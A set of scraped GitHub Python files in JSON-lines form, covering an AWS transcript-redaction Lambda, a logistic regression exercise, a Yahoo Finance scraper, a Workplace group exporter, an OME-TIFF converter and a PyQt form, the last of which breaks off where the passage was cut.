+{"seq_id":"33129846718","text":"import json\nimport boto3\nimport logging\nimport os\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.getLevelName(os.environ[\"LOGGING_LEVEL\"]))\n\ns3_resource = boto3.resource('s3')\ns3_client = boto3.client('s3')\n\ndef split_s3_path(s3_path):\n path_parts=s3_path.replace(\"s3://\",\"\").split(\"/\")\n bucket=path_parts.pop(0)\n key=\"/\".join(path_parts)\n return bucket, key\n\ndef lambda_handler(event,context):\n try:\n logger.info('Event: {}'.format(event))\n # Download original transcript file\n source_bucket = event.get('source_bucket')\n source_key = event.get('source_key')\n source_backup_key = event.get('source_key') + '.backup'\n redacted_content_bucket, redacted_content_key = split_s3_path(event.get('ComprehendJob').get('OutputDataConfig').get('S3Uri'))\n redaction_source_key = event.get('LoadTranscript').get('redaction_source_key')\n \n # Construct filename of redaction output\n redacted_content_out_key = redacted_content_key + event.get('ComprehendJob').get('InputDataConfig').get('S3Uri').split('/')[-1] + '.out'\n source_content_obj = s3_resource.Object(source_bucket, source_backup_key)\n source_content = json.loads(source_content_obj.get()['Body'].read().decode('utf-8'))\n \n s3_source_metadata = event.get('source_metadata')\n \n # Create transcript object\n pii_transcript = {\n \"Version\": source_content.get(\"Version\"),\n \"AWSAccountId\": source_content.get(\"AWSAccountId\"),\n \"InstanceId\": source_content.get(\"InstanceId\"),\n \"InitialContactId\": source_content.get(\"InitialContactId\"),\n \"ContactId\": source_content.get(\"ContactId\"),\n \"Participants\": source_content.get(\"Participants\"),\n \"Transcript\": []\n }\n \n # Get redacted content \n redacted_content_obj = s3_resource.Object(redacted_content_bucket, redacted_content_out_key)\n redacted_content = json.loads(redacted_content_obj.get()['Body'].read().decode('utf-8')).get('Content')\n\n # Replace original transcript content if its plain/text with redacted content\n for transcript in source_content.get('Transcript'):\n pii_item = transcript\n if(transcript.get('ContentType') in ['text/plain','text/markdown']):\n #Replace transcript content with redacted content\n pii_item['Content'] = redacted_content.pop(0)\n pii_transcript.get(\"Transcript\").append(pii_item)\n \n # add state to metadata\n s3_source_metadata['state'] = 'redacted'\n\n # Upload S3 transcript object with redacted transcript\n s3_client.put_object(\n Bucket=source_bucket,\n Key=source_key,\n Body=json.dumps(pii_transcript),\n Metadata=s3_source_metadata\n )\n \n # Clean up unwanted files\n s3_resource.Object(source_bucket, redacted_content_out_key).delete()\n s3_resource.Object(source_bucket, source_key + '.redactedoutput/.write_access_check_file.temp').delete()\n s3_resource.Object(source_bucket, redaction_source_key).delete()\n \n return \"Successfully redacted transcripts!\"\n except Exception as e:\n logger.error('Error: {}'.format(e))","repo_name":"aws-samples/amazon-connect-chat-redaction","sub_path":"functions/storeRedactedTranscript/storeRedactedTranscript.py","file_name":"storeRedactedTranscript.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"14129661172","text":"import sys\nimport numpy as np\n\n# ########################################################################### #\n# Constants #\n# ########################################################################### #\ninf_lim = -600\nsup_lim = 256\n\ndct_attr = {'theta': (np.ndarray),\n 'alpha': (float),\n 'max_iter': (int),\n 'penality': (str),\n 'lambda_': (float)}\n\n\n# ########################################################################### #\n# Class #\n# ########################################################################### #\nclass MyLogisticRegression():\n \"\"\"\n Description:\n My personnal logistic regression to classify things.\n \"\"\"\n def __init__(self, theta, alpha=0.001, max_iter=1000, penality='l2', lambda_=1.0):\n # Checking of the attributes:\n if (not isinstance(theta, (np.ndarray, tuple, list))) \\\n or (not isinstance(alpha, (int, float))) \\\n or (not isinstance(max_iter, int)) \\\n or (penality not in ['l2', None]):\n s = \"At least one of the parameters is not of expected type.\"\n print(s, file=sys.stderr)\n return None\n\n # Conversion of thetas and testing the shape of the parameters.\n theta = self._convert_thetas_(theta)\n if (theta.ndim != 2):\n s = \"Unexpected number of dimension for thetas. Must be 2.\"\n print(s, file=sys.stderr)\n sys.exit()\n if (theta.shape[1] != 1):\n s = \"Unexpected shape for thetas. It must be n * 1 shape.\"\n print(s, file=sys.stderr)\n sys.exit()\n # Checking data type, 'i': signed integer, 'u': unsigned integer,\n # 'f': float\n if theta.dtype.kind not in [\"i\", \"u\", \"f\"]:\n s = \"Unexpected data type for theta.\"\n print(s, file=sys.stderr)\n sys.exit()\n\n if (alpha >= 1) or (alpha <= 0) or (max_iter <= 0):\n s = \"Incorrect value for alpha or/and max_iter.\"\n print(s, file=sys.stderr)\n sys.exit()\n \n # Casting self.theta to float, in case it is integer\n self.theta = theta.astype('float64')\n self.alpha = float(alpha)\n self.max_iter = max_iter\n self.penality = penality\n if penality == 'l2':\n self.lambda_ = lambda_\n else:\n self.lambda_ = 0.0\n\n\n @staticmethod\n def _convert_thetas_(theta):\n \"\"\" Private function, convert theta parameter in the constructor\n from tuple or list into numpy ndarray.\n Args:\n theta: list, tuple or numpy ndarray containing the model's\n coefficients.\n \"\"\"\n if isinstance(theta, np.ndarray):\n return theta\n return np.array(theta).reshape(-1, 1)\n\n def _sigmoid_(self, x):\n \"\"\" Compute the sigmoid of a vector.\n Args:\n x: has to be an numpy.array, a vector\n Return:\n The sigmoid value as a numpy.array.\n None otherwise.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n x_ = np.array(x, copy=True)\n x_[x_ < inf_lim] = inf_lim\n x_[x_ > sup_lim] = sup_lim\n return np.divide(1., 1. + np.exp(-x))\n except:\n return None\n\n\n def get_params_(self):\n \"\"\" Gets the attributes of the estimator.\n No particular output is expected in the subject, thus one might use\n __dict__.\n Args:\n No argument except the instance itself.\n Return:\n [dict]: dictionary containing all the attributes.\n \"\"\"\n return self.__dict__\n\n\n def set_params_(self, new_val):\n \"\"\" Set new values to attributes.\n Args:\n new_val [dict]: new values for the attributes precised as keys.\n Return:\n None\n \"\"\"\n # try:\n for key, val in new_val.items():\n if key in ('theta', 'max_iter', 'alpha', 'lambda_'):\n if not isinstance(val, dct_attr[key]):\n s = 'theta, max_iter, alpha and lambda_ parameters are' \\\n + 'expected to be of a specific type.'\n print(s, file=sys.stderr)\n return None\n setattr(self, key, val)\n # except:\n # s = \"Something went wrong when using set_params.\"\n # print(s, file=sys.stderr)\n # return None\n\n\n def predict_(self, x):\n \"\"\"Computes the vector of prediction y_hat from two non-empty numpy.array.\n Args:\n x: has to be an numpy.array, a vector of shape m * n.\n theta: has to be an numpy.array, a vector of shape (n + 1) * 1.\n Return:\n y_hat: a numpy.array of shape m * 1, when x and theta numpy arrays\n with expected and compatible shapes.\n None: otherwise.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n if (not isinstance(x, np.ndarray)):\n s = \"x is not of the expected type (numpy array).\"\n print(s, file=sys.stderr)\n return None\n\n # Checking the shape of x and y\n if x.ndim != 2 or \\\n (x.shape[1] + 1 != self.theta.shape[0]):\n s = \"x is not 2 dimensional array \" \\\n + \"or mismatching shape between x and self.theta\"\n print(s, file=sys.stderr)\n return None\n\n x_ = np.hstack((np.ones((x.shape[0], 1)), x))\n ypred = self._sigmoid_(np.dot(x_, self.theta) )\n return ypred\n except:\n return None\n\n def _gradient_(self, x, y):\n \"\"\" Private function gradient, there is no test performed on the\n parameters. It is to avoid to perform useless same tests at every\n iteration of the loop in the fit method.\n Args:\n x: has to be an numpy.array, a matrix of shape m * n.\n y: has to be an numpy.array, a vector of shape m * 1.\n Return:\n The gradient as a numpy.array, a vector of shape n * 1,\n \"\"\"\n xp = np.hstack((np.ones((x.shape[0], 1)), x))\n grad = xp.T @ (self._sigmoid_(xp @ self.theta) - y) / x.shape[0]\n theta_ = self.theta.copy()\n theta_[0] = 0\n reg = self.lambda_ * theta_ / x.shape[0]\n return grad + reg\n\n\n def gradient(self, x, y):\n \"\"\"Computes a gradient vector from three non-empty numpy.array,\n without any for-loop. The three arrays must have compatible shapes.\n Args:\n x: has to be an numpy.array, a matrix of shape m * n.\n y: has to be an numpy.array, a vector of shape m * 1.\n theta: has to be an numpy.array, a vector (n +1) * 1.\n Return:\n The gradient as a numpy.array, a vector of shape n * 1,\n containing the result of the formula for all j.\n None if x, y, or theta are empty numpy.array.\n None if x, y and theta do not have compatible shapes.\n None if y, x or theta is not of the expected type.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n if (not isinstance(x, np.ndarray)) \\\n or (not isinstance(y, np.ndarray)):\n s = \"x or/and y or/and theta are not of the expected type\" \\\n + \" (numpy array).\"\n print(s, file=sys.stderr)\n return None\n\n # Checking the shape of x and y\n if (y.ndim != 2) or (x.ndim != 2) \\\n or (y.shape[1] != 1) \\\n or (y.shape[0] != x.shape[0]) \\\n or (self.theta.shape != (x.shape[1] + 1, 1)):\n s = \"Unexpected dimension for at least one of the arrays\" \\\n + \" or mismatching shape between arrays\"\n print(s, file=sys.stderr)\n return None\n\n grad = self._gradient_(x, y)\n return grad\n except:\n return None\n\n\n def fit_(self, x, y):\n \"\"\"\n Description:\n Fits the model to the training dataset contained in x and y.\n Args:\n x: has to be a numpy.array, a vector of shape m * 1:\n (number of training examples, 1).\n y: has to be a numpy.array, a vector of shape m * 1:\n (number of training examples, 1).\n Return:\n self: instance of MyLogisiticRegression.\n None if there is a matching shape problem.\n None if x or y is not of the expected type.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n # Checking x, y and theta are numpy array\n if (not isinstance(x, np.ndarray)) \\\n or (not isinstance(y, np.ndarray)):\n s = \"Unexpected type for one of the array.\"\n print(s, file=sys.stderr)\n return None\n\n # Checking the shape of x and y\n if (y.ndim != 2) or (x.ndim != 2) \\\n or (y.shape[1] != 1) \\\n or (y.shape[0] != x.shape[0]) \\\n or (self.theta.shape != (x.shape[1] + 1, 1)):\n s = \"Unexpected dimension for at least one of the arrays\" \\\n + \" or mismatching shape between arrays\"\n print(s, file=sys.stderr)\n return None\n \n # Performing the gradient descent\n for ii in range(self.max_iter):\n grad = self._gradient_(x, y)\n self.theta = self.theta - self.alpha * grad\n return self\n except:\n # If something unexpected happened, we juste leave\n print(\"Something wrong during fit.\", file=sys.stderr)\n return None\n\n def loss_elem_(self, x, y):\n \"\"\"\n Computes the logistic loss vector.\n Args:\n x: has to be an numpy.array, a vector of shape m * n.\n y: has to be an numpy.array, a vector of shape m * 1.\n Return:\n The logistic loss vector numpy.ndarray.\n None otherwise.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n # Checking x and y are numpy array\n if (not isinstance(x, np.ndarray)) \\\n or (not isinstance(y, np.ndarray)):\n return None\n\n # Checking the shape of x and y\n if (y.ndim != 2) or (x.ndim != 2) \\\n or (y.shape[1] != 1) \\\n or (y.shape[0] != x.shape[0]) \\\n or (self.theta.shape != (x.shape[1] + 1, 1)):\n s = \"Unexpected dimension for at least one of the arrays\" \\\n + \" or mismatching shape between arrays\"\n print(s, file=sys.stderr)\n return None\n\n y_hat = self.predict_(x)\n #log_loss = y * np.log(yhat + eps) + (1 - y) * np.log(1 - yhat + eps)\n log_loss = self._loss_elem_(y, y_hat)\n return log_loss\n except:\n return None\n\n\n def loss_(self, x, y):\n \"\"\"Computes the logistic loss value.\n Args:\n x: has to be an numpy.array, a vector.\n y: has to be an numpy.array, a vector.\n Returns:\n The logistic loss value as a float.\n None if y or y_hat are empty numpy.array.\n None if x and y does not share the same dimensions.\n None if x or y is not of the expected type.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n # Checking y and y_hat are numpy array\n if (not isinstance(x, np.ndarray)) \\\n or (not isinstance(y, np.ndarray)):\n return None\n \n # Checking the shape of x and y\n if (y.ndim != 2) or (x.ndim != 2) \\\n or (y.shape[1] != 1) \\\n or (y.shape[0] != x.shape[0]) \\\n or (self.theta.shape != (x.shape[1] + 1, 1)):\n s = \"Unexpected dimension for at least one of the arrays\" \\\n + \" or mismatching shape between arrays\"\n print(s, file=sys.stderr)\n return None\n\n y_hat = self.predict_(x)\n log_loss = self._loss_(y, y_hat)\n return log_loss\n except:\n return None\n\n\n def _loss_elem_(self, y, y_hat):\n \"\"\"Computes the logistic loss vector.\n Args:\n y: has to be an numpy.array, a vector of shape m * 1.\n y_hat: has to be an numpy.array, a vector of shape m * 1.\n Return:\n The logistic loss vector numpy.ndarray.\n None otherwise.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n eps = 1e-15\n log_loss = -(y * np.log(y_hat + eps) + (1 - y) * np.log(1 - y_hat + eps))\n theta_ = self.theta.copy()\n theta_[0] = 0\n reg = self.lambda_ * np.dot(theta_.T, theta_)\n return log_loss + 0.5 * reg\n except:\n return None\n\n\n def _loss_(self, y, y_hat):\n \"\"\"Private method to compute the logistic loss value.\n Args:\n y: has to be an numpy.array, a vector.\n y_hat: has to be an numpy.array, a vector.\n Returns:\n The logistic loss value as a float.\n None otherwise (type, shape, dimension issue ...).\n Raises:\n This function should not raise any Exception.\n \"\"\"\n try:\n # Checking y and y_hat are numpy array\n if (not isinstance(y, np.ndarray)) \\\n or (not isinstance(y_hat, np.ndarray)):\n return None\n\n # Checking the shape of y and y_hat\n if (y.shape[1] != 1) \\\n or (y_hat.shape[1] != 1) \\\n or (y_hat.shape[0] != y.shape[0]):\n return None\n log_loss = self._loss_elem_(y, y_hat)\n return np.mean(log_loss)\n except:\n # If something unexpected happened, we juste leave\n return None\n\n\n# ########################################################################### #\n# Main #\n# ########################################################################### #\nif __name__ == \"__main__\":\n X = np.array([[1., 1., 2., 3.], [5., 8., 13., 21.], [3., 5., 9., 14.]])\n Y = np.array([[1], [0], [1]])\n \n mylr = MyLogisticRegression([2, 0.5, 7.1, -4.3, 2.09], alpha=1e-3, max_iter=10000)\n \n print(\"# Example 0:\")\n res = mylr.predict_(X)\n print(\"prediction:\".ljust(25), res.reshape(1, -1))\n \n print(\"# Example 1:\")\n res = mylr.loss_(X,Y)\n print(\"loss:\".ljust(25), res)\n \n print(\"# Example 2:\")\n mylr.fit_(X, Y)\n res = mylr.theta\n print(\"theta after fit:\".ljust(25), res.reshape(1, -1))\n\n print(\"# Example 3:\")\n res = mylr.predict_(X)\n print(\"prediction:\".ljust(25), res.reshape(1, -1))\n\n print(\"# Example 4:\")\n res = mylr.loss_(X,Y)\n print(\"loss:\".ljust(25), res)\n","repo_name":"madvid/ml_module_04","sub_path":"ex08/my_logistic_regression.py","file_name":"my_logistic_regression.py","file_ext":"py","file_size_in_byte":15491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27328541691","text":"import sys\nfrom selenium import webdriver\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\n\ndef create_graph_profit(data):\n '''\n Create Graph Profit\n '''\n try:\n if data[\"date\"] and data[\"name\"] and data[\"profit\"]:\n plt.subplot(2,1,2)\n plt.title(\"Profit of {} over time\".format(data[\"name\"]))\n plt.plot(data[\"date\"], data[\"profit\"])\n plt.grid(True)\n plt.xlabel(\"Date\")\n plt.ylabel(\"Profit in %\")\n else:\n sys.exit(1)\n except:\n print(\"Error while creating the profit graph\")\n sys.exit(1)\n\ndef create_graph_revenue_growth(data):\n '''\n Create Graph Revenue Growth\n '''\n try:\n if data[\"date\"] and data[\"revenue growth\"] and data[\"name\"]:\n plt.subplot(2,1,1)\n plt.title(\"Revenue Growth rate of : {}\".format(data[\"name\"]))\n plt.plot(data[\"date\"][1:],data[\"revenue growth\"])\n plt.grid(True)\n plt.xlabel(\"Date\")\n plt.ylabel(\"Revenue Growth in %\")\n else:\n sys.exit(1)\n except:\n print(\"Error while creating the revenue growth graph\")\n sys.exit(1)\n\ndef open_url(driver, url):\n '''\n Open a Specific @url with Selenium @driver\n '''\n try:\n driver.get(url)\n except:\n print(\"driver.quit()\")\n driver.quit()\n return driver\n\ndef compute_growth(year_one, year_two):\n '''\n Computing growth from @year_one to @year_two\n '''\n try:\n growth = (year_two - year_one) / year_one\n growth = growth * 100\n\n except:\n print(\"Error while computing growth\")\n sys.exit(1)\n return(growth)\n\ndef compute_profit_margin(income, revenue):\n '''\n Computing profit margin with @income and @revenue\n '''\n try:\n profit = (income / revenue) * 100\n\n except:\n print(\"Error while computing profit margin\")\n sys.exit(1)\n return profit\n\ndef init_driver():\n '''\n Initiate the Selenium Web Driver\n '''\n try:\n driver = webdriver.Chrome(executable_path=\".//chromedriver\")\n return driver\n except:\n print(\"chromedriver not found, please place it on the root of the project's folder\")\n sys.exit(1)\n\ndef init_dictionnary():\n '''\n Initializing the data dictionnary\n '''\n data = {\n \"revenue\": [],\n \"income\": [],\n \"date\": [],\n \"revenue growth\": [],\n \"profit\": [],\n \"name\": None\n }\n return data\n\ndef ask_for_tick():\n '''\n Ask the user to enter a corporation tick\n '''\n tick = input(\"Please enter the tick (Example : F):\\n\")\n\n return tick\n\ndef get_income(driver, data):\n '''\n Scrapping website with @driver and filling @data with the income\n '''\n try:\n i = 2\n while i < 7:\n income = driver.find_element_by_xpath(\"\"\"//*[@id=\"Col1-1-Financials-Proxy\"]/section/div[4]/div[1]/\\\n div[1]/div[2]/div[11]/div[1]/div[{}]\"\"\".format(i)).text\n income = income.replace(',', '')\n data[\"income\"].append(int(income))\n i += 1\n except:\n pass\n\ndef get_date(driver, data):\n '''\n Scrapping website with @driver and filling @data with date\n '''\n try:\n i = 2\n while i < 7:\n date = driver.find_element_by_xpath(\"\"\"//*[@id=\"Col1-1-Financials-Proxy\"]/section/div[4]/div[1]/\\\n div[1]/div[1]/div/div[{}]\"\"\".format(i)).text\n data[\"date\"].append(date)\n i += 1\n \n except:\n pass\n\ndef parse_revenue_data(data):\n '''\n Parsing list revenue of @data and filling revenu growth\n '''\n try:\n i = len(data[\"revenue\"]) - 1\n while i > 0:\n growth = compute_growth(data[\"revenue\"][i], data[\"revenue\"][i - 1])\n growth = round(growth, 2)\n data[\"revenue growth\"].append(float(growth))\n i -= 1\n\n except:\n print(\"error while parsing revenue data\")\n sys.exit(1)\n\ndef parse_profit_data(data):\n '''\n Parsing list income and revenue of @data and filling profit\n '''\n try:\n i = len(data[\"revenue\"]) - 1\n\n while i > -1:\n profit = compute_profit_margin(data[\"income\"][i], data[\"revenue\"][i])\n profit = round(profit, 2)\n data[\"profit\"].append(float(profit))\n i -= 1\n except:\n print(\"Error while parsing profit\")\n sys.exit(1)\n\ndef get_revenue(driver, data):\n '''\n Scrapping website with @driver and filling @data with revenue\n '''\n try:\n i = 2\n while i < 7:\n revenue = driver.find_element_by_xpath(\"\"\"//*[@id=\"Col1-1-Financials-Proxy\"]/section/div[4]/div[1]/div[1]/div[2]/div[1]/div[1]/div[{}]\"\"\".format(i)).text\n revenue = revenue.replace(',', '')\n data[\"revenue\"].append(int(revenue))\n i += 1\n except:\n pass\n\ndef get_company_name(driver, data):\n '''\n Scrapping website with @driver and filling @data with name\n '''\n try:\n company_name = driver.find_element_by_xpath(\"\"\"//*[@id=\"quote-header-info\"]/div[2]/div[1]/div[1]/h1\"\"\").text\n data[\"name\"] = company_name\n except:\n print(\"No company name was found\")\n\ndef fill_dictionnary(driver, data):\n '''\n Scrape all data needed with @driver and filling @data with it\n '''\n try:\n get_company_name(driver, data)\n get_revenue(driver, data)\n get_date(driver, data)\n get_income(driver, data)\n parse_revenue_data(data)\n parse_profit_data(data)\n data[\"date\"].reverse()\n \n except:\n print(\"Error while filling data\")\n sys.exit(1)\n\ndef setting_up_graphs(data):\n '''\n Setting up the graphs with @data before displaying it\n '''\n try:\n create_graph_revenue_growth(data)\n create_graph_profit(data)\n plt.tight_layout()\n plt.show()\n \n except:\n print(\"Error while creating graphs\")\n sys.exit(1)\n\ndef main():\n '''\n Main function\n '''\n tick = ask_for_tick()\n driver = init_driver()\n url = 'https://finance.yahoo.com/quote/' + tick + '/financials?p=' + tick\n driver = open_url(driver, url)\n data = init_dictionnary()\n fill_dictionnary(driver, data)\n setting_up_graphs(data)\n driver.quit()\n\nmain()\n","repo_name":"Corsenp/PyCorporateGrowth","sub_path":"pycorporategrowth.py","file_name":"pycorporategrowth.py","file_ext":"py","file_size_in_byte":6352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10826690874","text":"from flask import Flask, request, render_template,redirect, Response\nimport json\nimport time\nimport pandas as pd\n\n\ndf = pd.read_csv('./csv/Sample-Superstore.csv', encoding='cp949', parse_dates=['Order Date'],)\n\n\ndf2 = pd.DataFrame(df.groupby('Order Date').count()['Row ID'])\ndf2['매출'] = df.groupby('Order Date').sum()['Sales']\ndf2.columns = ['구매건수','매출']\ndf3 = df2.resample('M').sum()\n\ng3 = df3.groupby(pd.Grouper( freq='Y'))\ndfs3 = [group for _,group in g3]\n# print( df3)\n\ndatas = []\nfor i,sr in df3.iterrows():\n # print(sr['구매건수'], sr['매출'] )\n datas.append({'odate': f'{i.year}-{i.month}', 'cnt': sr['구매건수'], 'sum': sr['매출']})\n # datas.append({'cnt':sr['구매건수'], 'sum':sr['매출'] })\n\nprint( datas )","repo_name":"sohangsung/flaskEvent","sub_path":"aaa.py","file_name":"aaa.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23638660623","text":"import requests\nimport json\nimport csv\n\n# Constants\nGRAPH_URL_PREFIX = 'https://graph.workplace.com/'\nCOMMUNITY_SUFFIX = 'community'\nFIELDS_CONJ = '?fields='\nGROUPS_SUFFIX = '/groups'\nGROUP_FIELDS = 'id,name,admins{id,name,email},members.limit(0).summary(true),privacy,description,updated_time'\nJSON_KEY_DATA = 'data'\nJSON_KEY_PAGING = 'paging'\nJSON_KEY_NEXT = 'next'\n\n# Methods\ndef getAllGroups(access_token):\n endpoint = GRAPH_URL_PREFIX + COMMUNITY_SUFFIX + GROUPS_SUFFIX + FIELDS_CONJ + GROUP_FIELDS\n return getPagedData(access_token, endpoint, [])\n\ndef getNotPagedData(access_token, endpoint):\n headers = buildHeader(access_token)\n result = requests.get(endpoint,headers=headers)\n return json.loads(result.text)\n\ndef getPagedData(access_token, endpoint, data):\n headers = buildHeader(access_token)\n result = requests.get(endpoint,headers=headers)\n result_json = json.loads(result.text)\n json_keys = result_json.keys()\n if JSON_KEY_DATA in json_keys and len(result_json[JSON_KEY_DATA]):\n data.extend(result_json[JSON_KEY_DATA])\n if JSON_KEY_PAGING in json_keys and JSON_KEY_NEXT in result_json[JSON_KEY_PAGING]:\n next = result_json[JSON_KEY_PAGING][JSON_KEY_NEXT]\n if next:\n getPagedData(access_token, next, data)\n return data\n\ndef processAdminsAndMembers(group_data):\n for idx, group in enumerate(group_data):\n group_data[idx]['members'] = group['members']['summary']['total_count']\n admins = ''\n try:\n for admin in group['admins']['data']:\n admins += admin['id'] + '-' + admin['name']\n try:\n admins += ' (' + admin['email'] + ')|'\n except:\n admins += '|'\n group_data[idx]['admins'] = admins\n except:\n return group_data\n return group_data\n\ndef buildHeader(access_token):\n return {'Authorization': 'Bearer ' + access_token, \"User-Agent\": \"GithubRep-GroupsWithDetails\"}\n\ndef exportToCSV(group_list):\n keys = group_list[0].keys()\n with open('group_export.csv', 'w', newline='\\n') as file:\n dict_writer = csv.DictWriter(file, fieldnames=keys, delimiter=',', quotechar='\"', escapechar='\\\\', extrasaction='ignore')\n dict_writer.writeheader()\n dict_writer.writerows(group_list)\n\n\n## START\naccess_token = 'access_token'\n\ngroup_data = processAdminsAndMembers(getAllGroups(access_token))\nprint (group_data)\n\nexportToCSV(group_data);\n","repo_name":"fbsamples/workplace-platform-samples","sub_path":"SupportScripts/Python/GetGroupListWithDetails/export_groups.py","file_name":"export_groups.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":179,"dataset":"github-code","pt":"21"} +{"seq_id":"10738539666","text":"#\n# @lc app=leetcode.cn id=11 lang=python3\n#\n# [11] 盛最多水的容器\n#\n\n# @lc code=start\nclass Solution:\n def maxArea(self, height: List[int]) -> int:\n def curv(height, i, j):\n return (j-i)*min(height[i], height[j])\n\n if len(height)<=1: return 0\n if len(height)==2: return curv(height, 0, 1)\n\n n = len(height)\n\n left,right = 0,n-1\n cnt = 0\n while left\n \n \n \n \n \n \n \"\"\"\n\n inputFormat = sys.argv[1].rsplit(\".\", 1)[1]\n xml = createOmeXml(im, initialXml, inputFormat)\n im.set_type(pyvips.GValue.gstr_type, \"image-description\", xml)\n\n im.tiffsave(sys.argv[2], compression=\"jpeg\", tile=True,\n tile_width=256, tile_height=256,\n pyramid=True, subifd=True)\n\ndef createOmeXml(im, initialXml, inputFormat):\n mdDict = extractMetadata(im, inputFormat)\n ET.register_namespace(\"OME\", \"http://www.openmicroscopy.org/Schemas/OME/2016-06\")\n root = ET.fromstring(initialXml)\n structuredAnnotations = ET.SubElement(root, \"OME:StructuredAnnotations\")\n counter = 0\n for key, value in mdDict.items():\n xmlAnnotation = ET.SubElement(structuredAnnotations, \"OME:XMLAnnotation\")\n xmlAnnotation.set(\"ID\", \"Annotation:\" + str(counter))\n counter += 1\n val = ET.SubElement(xmlAnnotation, \"OME:Value\")\n originalMetadata = ET.SubElement(val, \"OriginalMetadata\")\n k = ET.SubElement(originalMetadata, \"Key\")\n k.text = key\n v = ET.SubElement(originalMetadata, \"Value\")\n v.text = value\n return ET.tostring(root, encoding='utf-8')\n\ndef extractMetadata(im, inputFormat):\n mdDict = {}\n items = []\n if inputFormat == \"mrxs\":\n items = filter(lambda item: \"mirax.GENERAL\" in item, im.get_fields())\n elif inputFormat == \"svs\":\n items = filter(lambda item: \"aperio.\" in item, im.get_fields())\n for item in items:\n key = item.rsplit(\".\", 1)[1]\n value = im.get(item)\n mdDict[key] = value\n return mdDict\n\nif __name__ == \"__main__\":\n main()","repo_name":"xkacenga/ConvertToOmeTiff","sub_path":"convertToOmeTiff.py","file_name":"convertToOmeTiff.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"147514708","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n############################\n#CodeKey GUI Comparison Form\n# ssia@keystonestrategy.com\n#Created 11/15/2016\n#\n# Dock for filling out CodeKey GUI Comparisons Form\n# Includes the tasks form list\n# And also the Paths Form List\n############################\n\nfrom collections import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom guiScripts.defaultParams import *\n\n#Extend a form class\nclass TasksForm(QScrollArea):\n\n def __init__(self, Comparisons = None):\n super().__init__() \n self.initUI(Comparisons)\n \n def initUI(self, Comparisons):\n self.Comparisons = Comparisons\n self.createFbox()\n self.setWidgetResizable(True)\n\n def createFbox(self):\n fbox = QFormLayout()\n self.groupBox = QGroupBox('Select Analysis to Run')\n\n self.checkBoxList = []\n\n for task in self.Comparisons.tasks:\n checkBox = QCheckBox(task[\"type\"])\n self.checkBoxList.append(checkBox)\n checkBox.stateChanged.connect(self.tasksUpdate)\n if task[\"run\"] == \"True\":\n checkBox.setChecked(True)\n\n for checkBox in self.checkBoxList:\n fbox.addRow(checkBox)\n\n self.groupBox.setLayout(fbox)\n scroll = QScrollArea()\n scroll.setWidget(self.groupBox)\n scroll.setWidgetResizable(True)\n\n layout = QVBoxLayout(self)\n layout.addWidget(scroll)\n self.submitButton = QPushButton(\"Save Configs\")\n layout.addWidget(self.submitButton)\n\n def tasksUpdate(self):\n for (i,checkBox) in enumerate(self.checkBoxList):\n if checkBox.isChecked():\n self.Comparisons.tasks[i][\"run\"] = \"True\"\n else:\n self.Comparisons.tasks[i][\"run\"] = \"False\"\n\nclass PathOptions(QObject):\n def __init__(self, labelName, labelPath):\n self.label = QLabel(labelName)\n self.lineEdit = QLineEdit(labelPath)\n self.button = QPushButton()\n self.hbox = QHBoxLayout()\n\n self.hbox.addWidget(self.lineEdit)\n self.hbox.addWidget(self.button)\n\n self.button.setIcon(QIcon(\"open.jpg\"))\n self.button.dirName = \"\"\n self.button.clicked.connect(lambda: self.chooseDir() )\n\n def chooseDir(self):\n file = str(QFileDialog.getExistingDirectory(self.button, \"Select Directory\"))\n self.lineEdit.setText(file)\n\nclass FileOptions(QObject):\n def __init__(self, labelName, labelPath):\n self.label = QLabel(labelName)\n self.lineEdit = QLineEdit(labelPath)\n self.button = QPushButton()\n self.hbox = QHBoxLayout()\n\n self.hbox.addWidget(self.lineEdit)\n self.hbox.addWidget(self.button)\n\n self.button.setIcon(QIcon(\"open.jpg\"))\n self.button.dirName = \"\"\n self.button.clicked.connect(lambda: self.chooseFile() )\n\n def chooseFile(self):\n file = QFileDialog.getOpenFileName(self.button, \"Select Directory\")\n self.lineEdit.setText(str(file[0]))\n\nclass CompSelector(QObject):\n def __init__(self, labelName, versionName, items):\n super().__init__()\n self.initUI(labelName, versionName, items)\n\n def initUI(self, labelName, versionName, items):\n self.label = QLabel(labelName)\n self.cb = QComboBox()\n self.cb.addItems(items)\n try:\n self.cb.setCurrentIndex(items.index(versionName))\n except:\n print(\"Warning, no comboBox item: \", versionName)\n print(\"Change versions file to get combobox. Currently setting it to Not Defined.\")\n self.cb.setCurrentIndex(items.index(\"Not Defined\") )\n\nclass ParamSelector(QObject):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.le = QLineEdit()\n self.hbox = QHBoxLayout()\n self.group = QButtonGroup()\n self.but1 = QRadioButton(\"Include\")\n self.but2 = QRadioButton(\"Exclude\")\n\n self.group.addButton(self.but1)\n self.group.addButton(self.but2)\n self.but1.setChecked(True)\n self.hbox.addWidget(self.but1)\n self.hbox.addWidget(self.but2)\n\nclass ParamsForm(QScrollArea):\n\n def __init__(self, Comparisons = None):\n super().__init__() \n self.initUI(Comparisons)\n\n def initUI(self, Comparisons):\n self.group = QGroupBox()\n self.Comparisons = Comparisons\n self.scroll = 